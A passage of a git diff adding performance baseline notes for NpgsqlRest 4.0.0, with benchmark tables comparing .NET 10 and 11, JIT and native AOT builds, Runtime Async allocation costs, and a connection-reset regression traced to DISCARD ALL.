benchmark). In that build, `NpgsqlRest.dll` has 7 compiler-generated async state machine types instead of 46, and the file shrinks from 678 KB to 592 KB (−13%). Both builds target .NET 11 and ran in 2 alternating pairs: + +| Benchmark | off (µs) | on (µs) | Allocated off → on | +|---|---|---|---| +| GetText | 190.55, 185.38 | 190.80, 192.26 | **7.27 → 14.25 KB (×2)** | +| GetRows100 | 458.52, 461.46 | 444.83, 454.54 | **190.86 → 197.87 KB (+7 KB)** | +| HttpOnly | 41.10, 40.82 | 40.99, 38.96 | 3.03 → 2.80 KB | +| NpgsqlOnly | 139.31, 134.34 | 135.16, 134.43 | 1.57 → 1.55 KB | + +**Verdict: don't enable it yet.** Time doesn't change meaningfully (GetRows100 is about 2% faster, within noise), but NpgsqlRest's own request path allocates about 7 KB more per request. The benchmark's small methods improve slightly (HttpOnly), so the extra allocation comes from NpgsqlRest's code. The likely cause is the large request-handler method: under runtime async, every suspension can allocate a continuation that holds its live local variables. Microsoft's performance post says there are "known cases where it still produces less efficient code". Revisit with .NET 12, where it's expected to become the default, or after splitting the handler into smaller async methods. + +**Outcome:** it was enabled for every project for a short time, then **reverted**: +- Builds and the 2540 tests (which run under the JIT) were green, and the AOT publish succeeded. +- But the Native AOT client binary **crashed on the first request** (SIGBUS, exit 138, nothing logged). A clean control showed AOT with Runtime Async off works, AOT with it on crashes, and JIT with it on works. Small synthetic Runtime Async apps run fine under AOT, so the trigger is specific to NpgsqlRest's code. +- The AOT binary also grew from 36.09 MB to 38.78 MB (+7.5%), even though the managed assemblies shrank. + +### Why the allocations grew: measured + +An allocation-by-type probe ran the NpgsqlRest `GetText` request in-process 30,000 times, reading the runtime's GC allocation events: +- **Off:** 7.4 KB per request. The request handler's state machine box is 840 B, allocated once and reused. +- **On:** 19.4 KB per request. About 11.2 KB of it is runtime continuation objects of **13,704 B** each (some 7,832 B), plus about 53 `RuntimeAsyncTask` objects (72 B each) and about 16 `Action` delegates per request. + +Under Runtime Async the JIT decides which locals to save at each suspension. In one method this large (`InvokeAsync`: 373 locals, 68 of them address-taken, 103 awaits) it saves about 1,700 slots. The classic C# compiler hoisted only the ~100 locals that are live across awaits. + +Synthetic methods with up to 500 locals, address-taken locals and awaits in `finally` do *not* show this: they allocate the same or less than the classic model. Neither does awaiting classic-compiled code (about +30 B per suspension). So the cause is this one very large method, not Runtime Async in general. + +A related finding: under the JIT (`DOTNET_JitDisasmSummary=1`), the classic `d__7:MoveNext` (54 KB of IL) ends as **"Tier-0 switched MinOpts"**. The request handler has never been optimized in JIT mode. Splitting it into smaller methods is the prerequisite for both optimized JIT code and a Runtime Async benefit. + +## Raw .NET 11 report (run 1) + +``` +BenchmarkDotNet v0.16.0-preview.2, macOS 27.0.1 (26A434) [Darwin 27.0.0] +Apple M4 Pro, 1 CPU, 14 logical and 14 physical cores +.NET SDK 11.0.100 + [Host] : .NET 11.0.0 (11.0.0, 11.0.26.53018), Arm64 RyuJIT armv8.0-a + DefaultJob : .NET 11.0.0 (11.0.0, 11.0.26.53018), Arm64 RyuJIT armv8.0-a + +| Method | Mean | Error | StdDev | Ratio | RatioSD | Gen0 | Gen1 | Allocated | Alloc Ratio | +|----------- |---------:|--------:|--------:|------:|--------:|--------:|-------:|----------:|------------:| +| GetText | 191.4 us | 3.39 us | 3.76 us | 1.00 | 0.00 | 0.7324 | - | 7.27 KB | 1.00 | +| GetRows100 | 457.5 us | 5.76 us | 5.38 us | 2.39 | 0.05 | 23.4375 | 3.4180 | 190.86 KB | 26.27 | +``` diff --git a/BenchmarkTests/Baselines/EndpointBenchmarks-4.0.0-perf.md b/BenchmarkTests/Baselines/EndpointBenchmarks-4.0.0-perf.md new file mode 100644 index 00000000..574a5875 --- /dev/null +++ b/BenchmarkTests/Baselines/EndpointBenchmarks-4.0.0-perf.md @@ -0,0 +1,407 @@ +# EndpointBenchmarks: 4.0.0 performance work + +Recorded 2026-11-19 on the same machine and PostgreSQL container as the earlier baselines: Apple M4 Pro, PostgreSQL 17.10 in `npgsqlrest-benchmark-pg` (port 55432), .NET 11.0.0, BenchmarkDotNet 0.16.0-preview.2 DefaultJob. Run with: + +``` +NPGSQLREST_BENCHMARK_CONNECTION="Host=localhost;Port=55432;Database=postgres;Username=postgres;Password=postgres" \ + dotnet run -c Release -- --endpoints +``` + +The starting point is branch `4.0.0` with the security fixes applied, before any performance change. Each row adds one change to the previous row and is a single full run. + +This document has four parts; the numbers quoted in the changelog are those of **round 3** (4.0.0 against the released 3.21.0 on .NET 10) and, for endpoints with a request context, **round 4** at the end. **Round 1** (the sections up to "How the JIT verdict was checked") is the first set of changes, committed as `9d63171`. **Round 2** continues from there to the final request pipeline and compares it with the start of the performance work (`5befe76`, on .NET 11). **Round 3** compares the release with 3.21.0 on .NET 10, which also uncovered what resetting connections costs. Two statements in round 1 turned out to be wrong and are corrected in round 2: that methods with a pooling async builder stay classic when Runtime Async is on, and the ApacheBench numbers for the native AOT build. + +## Results + +Mean time (µs) and allocations per request (whole process, client and server): + +| Step | GetText µs | GetText alloc | GetRows100 µs | GetRows100 alloc | HttpOnly µs | NpgsqlOnly µs | +|---|---:|---:|---:|---:|---:|---:| +| Start (security fixes, no perf work) | 202.18 | 7.28 KB | 467.67 | 190.90 KB | 42.10 | 133.29 | +| StringBuilderPool off-by-one fixed | 198.71 | 6.71 KB | 450.83 | 117.46 KB | 40.25 | 139.89 | +| No `IServiceProvider` handler parameter (no DI scope) ¹ | 190.69 | 6.39 KB | 449.05 | 117.15 KB | 41.58 | 135.47 | +| `Response.BodyWriter` instead of `PipeWriter.Create(Response.Body)` | 185.85 | 6.04 KB | 449.13 | 116.72 KB | 40.42 | 133.78 | +| Split 1: rendering moved out of `InvokeAsync` (+ lazy retry lists) | 193.69 | 6.18 KB | 431.86 | 116.92 KB | 42.40 | 139.69 | +| Split 1 + pooled async builders on the new methods | 190.18 | 5.80 KB | 444.46 | 116.56 KB | 40.82 | 133.17 | +| Split 2: parameter binding moved out (binding-state object) | 188.21 | 5.93 KB | 419.50 | 116.67 KB | 41.16 | 134.34 | +| Pooled builder for the request method itself (`InvokeCoreAsync`) ¹ | 186.83 | 5.54 KB | 421.56 | 116.30 KB | 40.55 | 131.58 | +| **Final**: route handler as an RDG method group `(HttpContext, CancellationToken)` | **184.99** | **5.71 KB** | **419.77** | **116.54 KB** | 40.28 | 132.10 | +| Experiment, not shipped: Runtime Async on, pooled builders removed ² | 184.11 | 6.36 KB | 416.90 | 117.13 KB | 38.28 | 133.56 | + +¹ These rows mapped the handler through a `Func` variable. That falls back to ASP.NET's reflection-based delegate binding: AOT warnings IL3050/IL2026 and a 2.6 MB larger native binary. The final row is a method group that the Request Delegate Generator binds at compile time. Its generated `async` wrapper costs about 0.17 KB more per request whenever the request waits, but it is AOT-safe and keeps endpoint filters working. + +² Runtime Async applies to the whole build, so the HttpOnly control (client-side code) changed as well. + +## Reading + +- **Allocations** are deterministic and the most reliable signal: GetText 7.28 → 5.71 KB (−22%), GetRows100 190.9 → 116.5 KB (−39%). The StringBuilderPool fix accounts for nearly all of the row-endpoint saving. +- **Times** were noisy on this day: several other PostgreSQL containers were running, and the controls varied by ±5% (NpgsqlOnly 131.6–139.9 µs). Comparisons are therefore made against the controls. GetRows100 relative to NpgsqlOnly went from 3.36–3.51 before the split to 3.12–3.18 after it. That is the handler being JIT-optimized: before the split, `InvokeAsync`'s state machine (55 KB IL, over 2,000 basic blocks) was always compiled as "Tier-0 switched MinOpts"; afterwards every part reaches "Tier1 with Synthesized PGO". GetText relative to NpgsqlOnly stayed at about 1.39–1.40, since its time is dominated by the HTTP and database round trips. +- **Runtime Async** with the split handler: the native AOT build no longer crashes (it did with the monolithic handler) and its cost is ordinary, but it allocates about 0.65 KB per request more than the pooled classic build at equal latency. It stays off; see `Directory.Build.props`. (Round 2 explains where those bytes came from and removes most of them.) + +## Native AOT comparison (superseded by round 2) + +**These numbers understate the difference and are kept only as a record.** ApacheBench speaks HTTP/1.0. NpgsqlRest responses have no `Content-Length` (they are chunked for HTTP/1.1), so Kestrel answers an HTTP/1.0 request with `Connection: close`, and `ab -k` reports `Keep-Alive requests: 0`: every request opened a new TCP connection, and connection setup dominated what was measured. Round 2 uses an HTTP/1.1 keep-alive client. + +BenchmarkDotNet runs the benchmark project as a JIT process, so all numbers above are JIT numbers. The native AOT `npgsqlrest` executable was measured separately: the AOT binaries of `5befe76` (before the performance work) and `9d63171` (after) were published for osx-arm64. Each was run against a fresh database on the same PostgreSQL container, with the two benchmark functions and default client configuration, and loaded with ApacheBench (`ab -k`) after a warm-up. Runs were interleaved. + +Sequential (one request at a time, mean ms per request; two rounds each): + +| | Text (20,000 requests) | 100 rows (5,000 requests) | RSS after load | +|---|---|---|---| +| before | 0.248, 0.245 | 0.523, 0.538 | 101, 105 MB | +| after | 0.241, 0.242 | 0.506, 0.519 | 98, 88 MB | + +Concurrent (requests per second; three more rounds each): + +| | 100 rows, c=8 | 100 rows, c=32 | Text, c=32 | +|---|---|---|---| +| before | 8,770 / 8,563 / 8,435 | 11,635 / 11,881 / 11,775 | 24,142 / 23,960 / 23,216 | +| after | 9,008 / 8,394 / 8,418 | 12,589 / 11,942 / 11,829 | 23,314 / 20,856 / 23,624 | + +Reading: on AOT, sequential latency improves by 2–3.5%. Native AOT compiles every method with optimizations ahead of time; the JIT's MinOpts fallback for very large methods applies only at run time. So the AOT build never had the unoptimized-handler problem, and gains only from the smaller allocations. Concurrent throughput shows no change beyond noise; the single-threaded `ab` is likely the limit at these rates. The load scripts are not part of the repository; the setup above is enough to repeat the comparison. + +## How the JIT verdict was checked + +Run the JIT build of the client with `DOTNET_JitStdOutFile=jit.txt DOTNET_JitDisasmSummary=1`, send a few hundred requests, and look for the `NpgsqlRestEndpoint+<...>d__N:MoveNext` lines: + +| | IL size | Final tier | Code size | +|---|---:|---|---:| +| `InvokeAsync` before the split | 55,098 | Tier-0 switched MinOpts | 151,960 | +| `InvokeCoreAsync` after the split | 20,600 | Tier1 with Synthesized PGO | 44,596 | +| `RenderResultAsync` | 11,106 | Tier1 with Synthesized PGO | 25,364 | +| `BindQueryStringParametersAsync` | 9,486 | Tier1 with Synthesized PGO | 17,036 | + +--- + +# Round 2: UTF-8 rendering, request state, Runtime Async + +Recorded 2026-11-19, same machine and container. "Before" is `5befe76` (security fixes, no performance work), as in round 1. "After" is the final 4.0.0 working tree. Every comparison was interleaved (before, after, before, after ...). + +## What changed after round 1 + +| Change | Effect (JIT allocation profile, bytes per request incl. the test client) | +|---|---| +| Rows rendered as UTF-8 bytes straight from the reader (`RowRenderer`, `PgUtf8Converters`, `Utf8Buffer`) instead of one string per value | 100 rows: 119,620 → 53,843 | +| Rows sent once 16 KB is collected (`ResponseBufferBytes`) instead of every 25 rows | about a tenth of the CPU of a 100-row request | +| A single value read as UTF-8 into a pooled buffer instead of a string | 119 KB json value: 607,621 → 366,731 (of which 358,024 is the client's own string and buffer) | +| One pooled `RequestState`, stages as small methods, one render method per result shape | text: 5,729 → 5,344; 100 rows: 53,153 → 52,738 | +| Endpoint calls the handler directly (no generated route wrapper), first execution attempt made by the request (no retry frame), scalar split into "execute" and "read + write" | text: 5,344 → 4,961; 100 rows: 52,738 → 52,391 | +| Row renderer reused through the request state; multi-statement SQL files use it too | one 144-byte object less per row request (not profiled separately) | + +## JIT: BenchmarkDotNet + +Two interleaved runs each. Mean time and allocation per request (client and server together). + +| | GetText | GetRows100 | HttpOnly | NpgsqlOnly | +|---|---|---|---|---| +| before, run 1 | 182.65 µs, 7.29 KB | 438.76 µs, 190.87 KB | 39.28 µs, 3.03 KB | 131.49 µs, 1.57 KB | +| before, run 2 | 182.45 µs, 7.27 KB | 438.81 µs, 190.88 KB | 37.26 µs, 3.03 KB | 132.28 µs, 1.57 KB | +| after, run 1 | 179.12 µs, 4.90 KB | 402.72 µs, 50.91 KB | 38.25 µs, 3.03 KB | 131.22 µs, 1.57 KB | +| after, run 2 | 181.21 µs, 4.91 KB | 402.74 µs, 50.95 KB | 37.53 µs, 3.03 KB | 130.42 µs, 1.57 KB | +| after, Runtime Async ¹ | 178.43 µs, 4.94 KB | 397.63 µs, 51.06 KB | 39.64 µs, 2.80 KB | 131.77 µs, 1.53 KB | + +GetRows100 collections per 1,000 requests: gen 0 23.44 → 6.35, gen 1 3.9 / 3.4 → 0.49. + +¹ `NpgsqlRestRuntimeAsync=true dotnet run -c Release -- --endpoints`. It must be an environment variable: BenchmarkDotNet builds the benchmark in a child build, and a `-p:` property on the command line does not reach it. The benchmark project itself is then compiled with Runtime Async too, which is why the two controls allocate less (HttpOnly 3.03 → 2.80 KB); NpgsqlRest's own path allocates about 0.27 KB more, in line with the allocation profile below. + +The benchmark client's own copy of the 15,217-character GetRows100 response is 44.6 KB (a 30,456-byte string and a 15,248-byte buffer), so everything else went from 146 KB to 6 KB. For GetText, HttpOnly + NpgsqlOnly is 4.60 KB; NpgsqlRest's addition went from 2.68 KB to 0.30 KB. + +## Load test: JIT and native AOT, HTTP/1.1 keep-alive + +The published builds (`dotnet NpgsqlRestClient.dll` for JIT, the osx-arm64 native executable for AOT), default configuration, a fresh database with three functions: `benchmark_get_text` (13 bytes), `benchmark_get_rows(100)` (15,217 bytes), `benchmark_get_json(1500)` (one 119,322-byte json value). The load client is a small .NET `HttpClient` program (HTTP/1.1, keep-alive, one connection per worker); it and PostgreSQL run on the same machine. Per variant: warm-up, then sequential latency (1 connection), throughput (32 connections), and server CPU per request at 8 connections (process CPU time from `ps` before and after, divided by the requests). Three rounds; values are round 1 / 2 / 3. + +Server CPU per request, µs (8 connections): + +| | Text | 100 rows | 119 KB json | +|---|---|---|---| +| JIT before | 159.5 / 158.0 / 161.9 | 458.9 / 511.1 / 501.0 | 880.8 / 901.7 / 910.0 | +| JIT after | 151.9 / 154.9 / 153.8 | 287.2 / 289.9 / 290.6 | 540.0 / 541.7 / 537.5 | +| JIT after, Runtime Async | 154.1 / 153.8 / 153.2 | 290.1 / 289.8 / 292.4 | 547.5 / 534.2 / 540.0 | +| AOT before | 168.9 / 170.6 / 167.4 | 545.4 / 567.6 / 552.5 | 823.3 / 891.7 / 836.7 | +| AOT after | 162.5 / 160.2 / 163.4 | 359.0 / 353.4 / 348.6 | 582.5 / 568.3 / 557.5 | +| AOT after, Runtime Async | 165.8 / 158.2 / 161.9 | 365.5 / 350.4 / 351.5 | 596.7 / 551.7 / 562.5 | + +Requests per second (32 connections) and mean response time (1 connection, µs): + +| | Text req/s | 100 rows req/s | Text µs | 100 rows µs | 119 KB json µs | RSS after load | +|---|---|---|---|---|---|---| +| JIT before | 34,820 / 34,924 / 35,227 | 13,940 / 13,559 / 14,055 | 193.0 / 193.8 / 197.9 | 459.8 / 448.6 / 451.9 | 2,580.9 / 2,605.4 / 2,545.9 | 243 / 236 / 239 MB | +| JIT after | 33,583 / 35,339 / 34,938 | 18,455 / 18,336 / 18,433 | 196.6 / 197.0 / 194.6 | 403.0 / 401.5 / 403.4 | 2,308.8 / 2,291.9 / 2,295.8 | 145 / 145 / 141 MB | +| JIT after, Runtime Async | 34,758 / 35,347 / 34,891 | 17,866 / 18,079 / 17,779 | 192.8 / 195.1 / 192.0 | 399.8 / 396.6 / 401.6 | 2,427.1 / 2,331.1 / 2,267.2 | 149 / 148 / 147 MB | +| AOT before | 34,353 / 34,417 / 34,587 | 12,474 / 13,070 / 12,625 | 196.2 / 198.0 / 198.2 | 454.4 / 456.0 / 449.0 | 2,140.8 / 2,519.5 / 2,523.7 | 136 / 133 / 140 MB | +| AOT after | 34,053 / 32,736 / 32,990 | 16,696 / 16,734 / 16,829 | 193.8 / 194.4 / 195.0 | 423.1 / 422.2 / 421.5 | 2,205.3 / 2,201.3 / 2,181.5 | 65 / 61 / 64 MB | +| AOT after, Runtime Async | 33,356 / 34,573 / 32,955 | 16,031 / 16,868 / 16,519 | 199.0 / 197.1 / 195.9 | 425.6 / 430.2 / 429.5 | 2,132.8 / 2,144.3 / 2,161.4 | 60 / 65 / 59 MB | + +The variants ran in the order listed, and the first one in a round has a small advantage on the text endpoint. A second AOT run of the text endpoint alone, in reverse order (200,000 requests, 32 connections): before 34,220 / 33,277 / 33,129, after 33,556 / 33,698 / 33,396, Runtime Async 35,017 / 34,439 / 33,359. So text throughput is the same for all three. + +Native AOT binary (osx-arm64): 36,172,976 bytes before, 36,189,504 after, 35,906,528 with Runtime Async. The same six trim/AOT warnings in all (ExcelDataReader, Microsoft.Extensions.Caching.Hybrid). + +## Runtime Async: what it costs and why + +Allocation profile (in-process server and client, one request at a time, `AllocationSampled` events, bytes per request): + +| | Text, classic | Text, Runtime Async | 100 rows, classic | 100 rows, Runtime Async | +|---|---:|---:|---:|---:| +| After round 1 | 5,729 | 6,700 | 53,153 | 54,177 | +| Request state + stage methods | 5,344 | 5,851 | 52,738 | 53,091 | +| Final | 4,961 | 5,248 | 52,391 | 52,692 | + +Three things were learned with small experiments (a console program measuring bytes per suspension for different method shapes): + +- **The pooling attribute is ignored.** With `runtime-async=on`, the compiler does not use `[AsyncMethodBuilder(typeof(PoolingAsyncValueTaskMethodBuilder))]`: those methods become Runtime Async methods like any other. (Round 1 assumed they stayed classic. A source-defined `RuntimeAsyncMethodGenerationAttribute(false)` does opt a method out.) +- **A method's continuation is sized for its largest suspension point.** A suspended Runtime Async method costs about 48 bytes plus 8 bytes per value that is live across the wait, liveness is precise, and the object is reused when the same method suspends again. But the layout is one per method, sized for the suspension point with the most live values. After round 1, `InvokeCoreAsync` and `RenderResultAsync` each allocated 448–480 bytes whenever a request waited for the database, because somewhere else in each method fifty-odd values were live across some other wait. Small methods with few locals cost 56–96 bytes. +- **Waiting on code that is not Runtime Async costs extra.** Awaiting a `Task` from classically compiled code (Npgsql) allocates a `RuntimeAsyncTaskContinuation` (72 bytes) and usually an `Action` (56 bytes); a Runtime Async method called through a delegate or by classic code needs a `RuntimeAsyncTask` (72 bytes). + +What remains per request with Runtime Async: one `RuntimeAsyncTask`, two small continuations (56 + 96 bytes on the scalar path), and the boundary objects for the wait inside Npgsql: about 350 bytes. The classic build's equivalent is one 80-byte `ValueTaskSourceAsTask`, since its state machine boxes are pooled. That is the 0.3 KB difference, and it cannot be removed from this side: it goes away when Npgsql itself is compiled with Runtime Async. + +Verification of the Runtime Async build: the full test suite (2,998 tests) passes with `-p:NpgsqlRestRuntimeAsync=true`, and the native AOT executable built with it passes `.github/scripts/aot-smoke-test.sh`. + +--- + +# Round 3: 4.0.0 against 3.21.0 on .NET 10, Runtime Async, and connection resets + +Recorded 2026-11-19, same machine and container. Rounds 1 and 2 compared commits of the 4.0.0 branch with each other. This round compares what ships with the previous release: **3.21.0** built from `master` (`6cc6f55`) with the .NET 10 SDK (10.0.100, runtime 10.0.0), **4.0.0** on .NET 11, and 4.0.0 on .NET 11 compiled with Runtime Async (`-p:NpgsqlRestRuntimeAsync=true`), each as a JIT build (`dotnet NpgsqlRestClient.dll`) and as a native AOT executable (osx-arm64). Published the standard way, default settings. + +Load method as in round 2 (HTTP/1.1 keep-alive client, sequential latency at 1 connection, throughput at 32, server CPU per request at 8), with one more endpoint: `benchmark_plpgsql(_id int)`, a PL/pgSQL function that runs five small queries against a 1,000-row table. Three rounds per table, each in a different order of the variants; values are round 1 / 2 / 3. + +## What this round found + +Against its own starting commit the branch looked uniformly faster. Against 3.21.0 the small endpoints were 12-15% slower under load and the PL/pgSQL function 41% slower. The cause was not .NET 11 and not async: 3.21.0 forced `No Reset On Close=true`; the `user_context` security fix (`d23ad8c`) removed that, so Npgsql sent `DISCARD ALL` before every request - verified with `log_statement = 'all'` - and `DISCARD ALL` includes `DISCARD PLANS`, so PL/pgSQL statements were planned again on every request. + +Two changes followed (see the changelog, "Connections are reset only when needed"): connections are reset only when an endpoint can leave session-level settings on them (`NpgsqlRestOptions.ConnectionResetRequired`), and when they are reset the client keeps a prepared statement on each physical connection so that Npgsql sends `SET SESSION AUTHORIZATION DEFAULT;RESET ALL;CLOSE ALL;UNLISTEN *;SELECT pg_advisory_unlock_all();DISCARD SEQUENCES;DISCARD TEMP` instead of `DISCARD ALL` (also verified in the statement log). + +## Load test + +### Final: default settings (no endpoint leaves session state, so connections are not reset) + +Requests per second at 32 connections and mean response time at 1 connection (µs): + +| | Text req/s | PL/pgSQL req/s | 100 rows req/s | Text µs | PL/pgSQL µs | 100 rows µs | 119 KB json µs | +|---|---|---|---|---|---|---|---| +| JIT 3.21.0 (.NET 10) | 38,977 / 39,693 / 39,056 | 32,698 / 32,767 / 32,445 | 16,948 / 16,377 / 16,126 | 181.9 / 183.9 / 182.0 | 250.7 / 258.4 / 255.3 | 453.4 / 459.5 / 448.1 | 2444.5 / 2369.6 / 2398.0 | +| JIT 4.0.0 | 39,120 / 38,347 / 40,018 | 32,083 / 32,885 / 31,255 | 20,185 / 20,550 / 20,679 | 190.0 / 191.3 / 190.2 | 262.4 / 259.6 / 259.5 | 429.1 / 412.3 / 419.5 | 2226.2 / 2288.5 / 2256.1 | +| JIT 4.0.0 Runtime Async | 38,706 / 40,617 / 39,720 | 32,632 / 32,037 / 31,829 | 20,671 / 19,535 / 20,376 | 191.9 / 188.3 / 188.5 | 259.7 / 264.7 / 261.2 | 420.2 / 423.0 / 427.1 | 2195.8 / 2214.0 / 2249.2 | +| AOT 3.21.0 (.NET 10) | 39,744 / 39,283 / 38,186 | 31,402 / 31,894 / 32,246 | 15,220 / 15,694 / 15,479 | 183.2 / 181.3 / 183.7 | 251.9 / 250.9 / 249.5 | 470.5 / 483.9 / 488.6 | 2381.9 / 2383.0 / 2346.8 | +| AOT 4.0.0 | 37,238 / 38,385 / 38,786 | 31,493 / 29,976 / 31,053 | 18,413 / 18,705 / 19,003 | 191.7 / 192.8 / 190.1 | 258.7 / 261.0 / 260.9 | 470.0 / 466.2 / 481.2 | 2114.5 / 2134.3 / 2113.2 | +| AOT 4.0.0 Runtime Async | 37,919 / 37,431 / 38,158 | 29,876 / 32,320 / 30,892 | 18,656 / 19,110 / 19,075 | 191.6 / 191.7 / 188.3 | 261.0 / 257.4 / 263.2 | 470.3 / 477.2 / 477.9 | 2179.8 / 2093.8 / 2115.2 | + +Server CPU per request at 8 connections (µs) and RSS after the load (MB): + +| | Text | 100 rows | 119 KB json | RSS | +|---|---|---|---|---| +| JIT 3.21.0 (.NET 10) | 198.1 / 203.5 / 202.4 | 421.2 / 403.0 / 451.2 | 835.0 / 910.0 / 901.7 | 327 / 333 / 338 | +| JIT 4.0.0 | 145.8 / 146.6 / 143.6 | 271.8 / 274.1 / 272.8 | 479.2 / 488.3 / 484.2 | 149 / 149 / 144 | +| JIT 4.0.0 Runtime Async | 146.5 / 143.0 / 134.6 | 277.5 / 272.9 / 267.9 | 492.5 / 473.3 / 462.5 | 149 / 145 / 148 | +| AOT 3.21.0 (.NET 10) | 158.5 / 158.8 / 157.2 | 461.8 / 447.5 / 460.2 | 782.5 / 780.0 / 777.5 | 246 / 250 / 247 | +| AOT 4.0.0 | 151.4 / 150.2 / 152.4 | 328.9 / 324.1 / 328.0 | 505.0 / 481.7 / 493.3 | 65 / 62 / 65 | +| AOT 4.0.0 Runtime Async | 151.5 / 147.4 / 150.5 | 329.5 / 323.9 / 316.6 | 483.3 / 497.5 / 485.0 | 67 / 65 / 66 | + +### With the connection reset (the lighter one that keeps plans), as an application with user_context gets it + +Requests per second at 32 connections and mean response time at 1 connection (µs): + +| | Text req/s | PL/pgSQL req/s | 100 rows req/s | Text µs | PL/pgSQL µs | 100 rows µs | 119 KB json µs | +|---|---|---|---|---|---|---|---| +| JIT 3.21.0 (.NET 10) | 38,736 / 38,985 / 39,614 | 32,606 / 32,273 / 32,351 | 16,826 / 16,352 / 16,695 | 182.0 / 185.8 / 182.7 | 257.8 / 252.9 / 257.4 | 454.8 / 445.9 / 456.4 | 2399.3 / 2519.6 / 2409.3 | +| JIT 4.0.0 | 35,068 / 34,839 / 34,518 | 27,736 / 27,394 / 26,542 | 18,050 / 18,247 / 18,429 | 197.4 / 199.2 / 199.0 | 277.1 / 277.0 / 275.5 | 418.0 / 414.7 / 417.0 | 2317.4 / 2287.2 / 2273.4 | +| JIT 4.0.0 Runtime Async | 35,456 / 35,047 / 34,766 | 27,321 / 27,450 / 27,162 | 18,308 / 18,058 / 17,904 | 197.3 / 196.3 / 197.6 | 278.1 / 279.8 / 276.8 | 415.0 / 417.2 / 413.5 | 2281.4 / 2334.4 / 2246.8 | +| AOT 3.21.0 (.NET 10) | 39,760 / 39,294 / 41,203 | 31,725 / 32,617 / 32,104 | 15,558 / 15,808 / 15,366 | 183.5 / 180.8 / 180.4 | 253.1 / 253.8 / 259.0 | 479.3 / 490.1 / 477.3 | 2407.7 / 2453.7 / 2464.2 | +| AOT 4.0.0 | 33,464 / 31,848 / 34,579 | 26,515 / 26,675 / 27,715 | 17,141 / 17,580 / 17,272 | 202.6 / 200.6 / 199.3 | 279.2 / 274.1 / 279.3 | 436.1 / 440.2 / 437.0 | 2188.6 / 2156.0 / 2142.5 | +| AOT 4.0.0 Runtime Async | 34,096 / 33,211 / 31,372 | 27,142 / 26,297 / 25,657 | 16,919 / 16,807 / 17,167 | 202.0 / 203.0 / 202.7 | 282.8 / 277.0 / 275.7 | 435.3 / 434.1 / 432.8 | 2151.9 / 2114.4 / 2167.4 | + +Server CPU per request at 8 connections (µs) and RSS after the load (MB): + +| | Text | 100 rows | 119 KB json | RSS | +|---|---|---|---|---| +| JIT 3.21.0 (.NET 10) | 195.1 / 193.4 / 192.0 | 431.0 / 438.4 / 434.0 | 910.0 / 884.2 / 891.7 | 330 / 327 / 334 | +| JIT 4.0.0 | 153.1 / 153.8 / 148.8 | 301.9 / 294.8 / 287.8 | 566.7 / 566.7 / 560.8 | 143 / 142 / 148 | +| JIT 4.0.0 Runtime Async | 154.6 / 154.6 / 153.1 | 300.6 / 297.2 / 294.1 | 560.0 / 570.8 / 551.7 | 145 / 148 / 144 | +| AOT 3.21.0 (.NET 10) | 156.9 / 159.6 / 158.2 | 458.0 / 456.9 / 366.6 | 755.8 / 762.5 / 752.5 | 239 / 242 / 248 | +| AOT 4.0.0 | 166.8 / 157.5 / 159.8 | 366.5 / 344.4 / 353.9 | 595.0 / 557.5 / 570.0 | 61 / 65 / 60 | +| AOT 4.0.0 Runtime Async | 163.4 / 162.6 / 165.0 | 355.2 / 346.5 / 356.1 | 582.5 / 578.3 / 588.3 | 60 / 60 / 64 | + +### .NET 10 against .NET 11 with the same 4.0.0 code (both with `DISCARD ALL`, before the reset rule) + +Requests per second at 32 connections and mean response time at 1 connection (µs): + +| | Text req/s | 100 rows req/s | Text µs | 100 rows µs | 119 KB json µs | +|---|---|---|---|---|---| +| JIT 3.21.0 (.NET 10) | 39,908 / 39,701 / 39,338 | 16,597 / 16,504 / 16,956 | 188.7 / 181.1 / 183.7 | 441.7 / 446.7 / 446.1 | 2408.0 / 2433.7 / 2514.1 | +| JIT 4.0.0 code on .NET 10 | 34,767 / 34,084 / 34,264 | 18,557 / 18,437 / 18,535 | 189.7 / 189.9 / 187.2 | 392.8 / 390.7 / 391.5 | 2092.7 / 2114.1 / 2059.3 | +| JIT 4.0.0 (.NET 11) | 34,474 / 35,043 / 35,315 | 18,645 / 18,489 / 18,258 | 194.4 / 193.6 / 194.8 | 398.9 / 396.5 / 398.1 | 2323.7 / 2283.2 / 2320.2 | +| JIT 4.0.0 Runtime Async | 35,813 / 34,988 / 35,444 | 18,311 / 18,270 / 18,883 | 192.0 / 196.2 / 192.4 | 402.8 / 404.5 / 400.6 | 2289.6 / 2269.2 / 2213.2 | +| AOT 3.21.0 (.NET 10) | 41,238 / 39,076 / 38,328 | 14,805 / 15,352 / 15,363 | 182.0 / 181.8 / 180.9 | 458.9 / 466.8 / 464.6 | 2445.8 / 2605.1 / 2365.3 | +| AOT 4.0.0 code on .NET 10 | 35,966 / 36,284 / 33,788 | 17,088 / 17,403 / 17,433 | 192.0 / 193.1 / 193.1 | 424.7 / 418.9 / 422.5 | 2078.1 / 2062.4 / 2068.2 | +| AOT 4.0.0 (.NET 11) | 33,472 / 33,692 / 34,813 | 16,675 / 16,297 / 16,993 | 194.8 / 190.6 / 195.8 | 422.0 / 427.5 / 428.4 | 2150.9 / 2177.4 / 2172.9 | +| AOT 4.0.0 Runtime Async | 33,589 / 32,967 / 33,690 | 16,590 / 16,612 / 16,919 | 194.0 / 196.9 / 197.8 | 426.2 / 426.7 / 429.3 | 2194.1 / 2183.4 / 2150.3 | + +Server CPU per request at 8 connections (µs) and RSS after the load (MB): + +| | Text | 100 rows | 119 KB json | RSS | +|---|---|---|---|---| +| JIT 3.21.0 (.NET 10) | 192.4 / 194.5 / 202.2 | 417.6 / 428.2 / 384.2 | 807.5 / 871.7 / 880.0 | 335 / 341 / 345 | +| JIT 4.0.0 code on .NET 10 | 211.6 / 208.9 / 212.8 | 360.6 / 357.8 / 362.6 | 600.0 / 593.3 / 577.5 | 282 / 280 / 283 | +| JIT 4.0.0 (.NET 11) | 152.1 / 153.1 / 150.8 | 290.5 / 290.1 / 285.9 | 531.7 / 550.0 / 529.2 | 141 / 140 / 141 | +| JIT 4.0.0 Runtime Async | 153.4 / 155.0 / 150.6 | 292.1 / 292.2 / 285.0 | 556.7 / 551.7 / 530.0 | 144 / 143 / 148 | +| AOT 3.21.0 (.NET 10) | 156.5 / 158.5 / 158.6 | 442.9 / 435.8 / 405.1 | 769.2 / 745.0 / 764.2 | 245 / 244 / 248 | +| AOT 4.0.0 code on .NET 10 | 205.9 / 212.1 / 205.8 | 363.2 / 392.8 / 389.9 | 622.5 / 625.8 / 613.3 | 203 / 203 / 204 | +| AOT 4.0.0 (.NET 11) | 162.5 / 161.9 / 164.2 | 361.1 / 355.0 / 357.8 | 579.2 / 